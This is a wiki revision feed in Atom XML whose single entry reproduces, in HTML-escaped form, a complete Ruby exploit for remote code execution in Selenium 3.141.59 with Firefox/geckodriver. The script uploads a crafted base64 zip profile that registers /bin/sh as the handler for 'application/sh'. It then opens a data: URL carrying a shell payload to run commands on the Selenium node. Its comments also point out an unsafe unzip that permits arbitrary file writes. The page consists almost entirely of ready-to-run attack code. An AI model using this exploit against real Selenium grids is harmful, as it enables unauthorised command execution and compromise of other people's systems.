<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Selenium_3.141.59_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>Selenium 3.141.59 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Selenium_3.141.59_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Selenium_3.141.59_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-24T11:39:02Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Selenium_3.141.59_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3600&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Selenium 3.141.59 - Remote Code Execution (Firefox/geckodriver) # Date: 2021-05-27 # Exploit Author: Jon Stratton # Vendor Homepage: https://www...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Selenium_3.141.59_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3600&amp;oldid=prev"/>
		<updated>2021-05-28T09:46:08Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Selenium 3.141.59 - Remote Code Execution (Firefox/geckodriver) # Date: 2021-05-27 # Exploit Author: Jon Stratton # Vendor Homepage: https://www...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Selenium 3.141.59 - Remote Code Execution (Firefox/geckodriver)&lt;br /&gt;
# Date: 2021-05-27&lt;br /&gt;
# Exploit Author: Jon Stratton&lt;br /&gt;
# Vendor Homepage: https://www.selenium.dev/&lt;br /&gt;
# Software Link: https://selenium-release.storage.googleapis.com/3.141/selenium-server-standalone-3.141.59.jar&lt;br /&gt;
# Version: 3.141.59&lt;br /&gt;
# Tested on: Selenium Server 3.141.59, webdriver, geckodriver &lt;br /&gt;
#&lt;br /&gt;
# https://github.com/JonStratton/selenium-node-takeover-kit/blob/master/examples/selenium_node_rce.rb&lt;br /&gt;
#&lt;br /&gt;
# When Selenium runs, it creates a custom profile (in /tmp/ for Linux) on the Node. This profile then gets overwritten by a possible overlay that is sent in a base64 encoded zip file when a Selenium session is started.&lt;br /&gt;
#&lt;br /&gt;
# One of the config file can be used to set a custom handler (which do things like, for instance, associates “mailto:blah@blah.com” to your email client). In this example, a new handler is created for “application/sh” that will execute the argument with “/bin/sh”&lt;br /&gt;
#&lt;br /&gt;
# Side notes, this profile doesn't safely unzip. So this can be used to write files to the file-system.&lt;br /&gt;
#&lt;br /&gt;
# The Payload is encoded and embedded as inline data associated with the &amp;quot;application/sh&amp;quot; mime type.&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/env ruby&lt;br /&gt;
&lt;br /&gt;
require 'optparse'&lt;br /&gt;
require 'net/http'&lt;br /&gt;
require 'json'&lt;br /&gt;
require 'uri'&lt;br /&gt;
require 'zip'&lt;br /&gt;
require 'base64'&lt;br /&gt;
&lt;br /&gt;
options = {}&lt;br /&gt;
OptionParser.new do |opts|&lt;br /&gt;
  opts.banner = 'Usage: example.rb [options]'&lt;br /&gt;
  opts.on('-hURL', '--hubURL', 'Selenium Hub URL') do |h|&lt;br /&gt;
    options[:hub] = h&lt;br /&gt;
  end&lt;br /&gt;
  opts.on('--help', 'Prints this help') do&lt;br /&gt;
    puts opts&lt;br /&gt;
    exit&lt;br /&gt;
  end&lt;br /&gt;
end.parse!&lt;br /&gt;
&lt;br /&gt;
hub_url = options[:hub]&lt;br /&gt;
&lt;br /&gt;
payload = 'rm -rf $0&lt;br /&gt;
echo success &amp;gt; /tmp/selenium_node_rce.txt'&lt;br /&gt;
&lt;br /&gt;
# Build profile zip file.&lt;br /&gt;
stringio = Zip::OutputStream::write_buffer do |io|&lt;br /&gt;
  # Create a handler for shell scripts&lt;br /&gt;
  io.put_next_entry(&amp;quot;handlers.json&amp;quot;)&lt;br /&gt;
  io.write('{&amp;quot;defaultHandlersVersion&amp;quot;:{&amp;quot;en-US&amp;quot;:4},&amp;quot;mimeTypes&amp;quot;:{&amp;quot;application/sh&amp;quot;:{&amp;quot;action&amp;quot;:2,&amp;quot;handlers&amp;quot;:[{&amp;quot;name&amp;quot;:&amp;quot;sh&amp;quot;,&amp;quot;path&amp;quot;:&amp;quot;/bin/sh&amp;quot;}]}}}')&lt;br /&gt;
end&lt;br /&gt;
stringio.rewind&lt;br /&gt;
encoded_profile = Base64.strict_encode64(stringio.sysread)&lt;br /&gt;
&lt;br /&gt;
# Create session with our new profile&lt;br /&gt;
newSession = {:desiredCapabilities =&amp;gt; {:browserName =&amp;gt; &amp;quot;firefox&amp;quot;, :firefox_profile =&amp;gt; encoded_profile}}&lt;br /&gt;
&lt;br /&gt;
uri = URI.parse(hub_url)&lt;br /&gt;
http = Net::HTTP.new(uri.host, uri.port)&lt;br /&gt;
&lt;br /&gt;
# Start session with encoded_profile and save session id for cleanup.&lt;br /&gt;
uri = URI.parse(&amp;quot;%s/session&amp;quot; % [hub_url])&lt;br /&gt;
request = Net::HTTP::Post.new(uri.request_uri, 'Content-Type' =&amp;gt; 'application/json')&lt;br /&gt;
request.body = JSON.generate(newSession)&lt;br /&gt;
response = http.request(request)&lt;br /&gt;
sessionId = JSON.parse(response.body)[&amp;quot;value&amp;quot;][&amp;quot;sessionId&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
# URL. &lt;br /&gt;
data_url = &amp;quot;data:application/sh;charset=utf-16le;base64,%s&amp;quot; % [Base64.encode64(payload)]&lt;br /&gt;
uri = URI.parse(&amp;quot;%s/session/%s/url&amp;quot; % [hub_url, sessionId])&lt;br /&gt;
request = Net::HTTP::Post.new(uri.request_uri, 'Content-Type' =&amp;gt; 'application/json')&lt;br /&gt;
request.body = JSON.generate(:url =&amp;gt; data_url)&lt;br /&gt;
response = http.request(request)&lt;br /&gt;
&lt;br /&gt;
# End session(not working)&lt;br /&gt;
uri = URI.parse(&amp;quot;%s/session/%s&amp;quot; % [hub_url, sessionId])&lt;br /&gt;
request = Net::HTTP::Delete.new(uri.request_uri)&lt;br /&gt;
http.request(request)&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>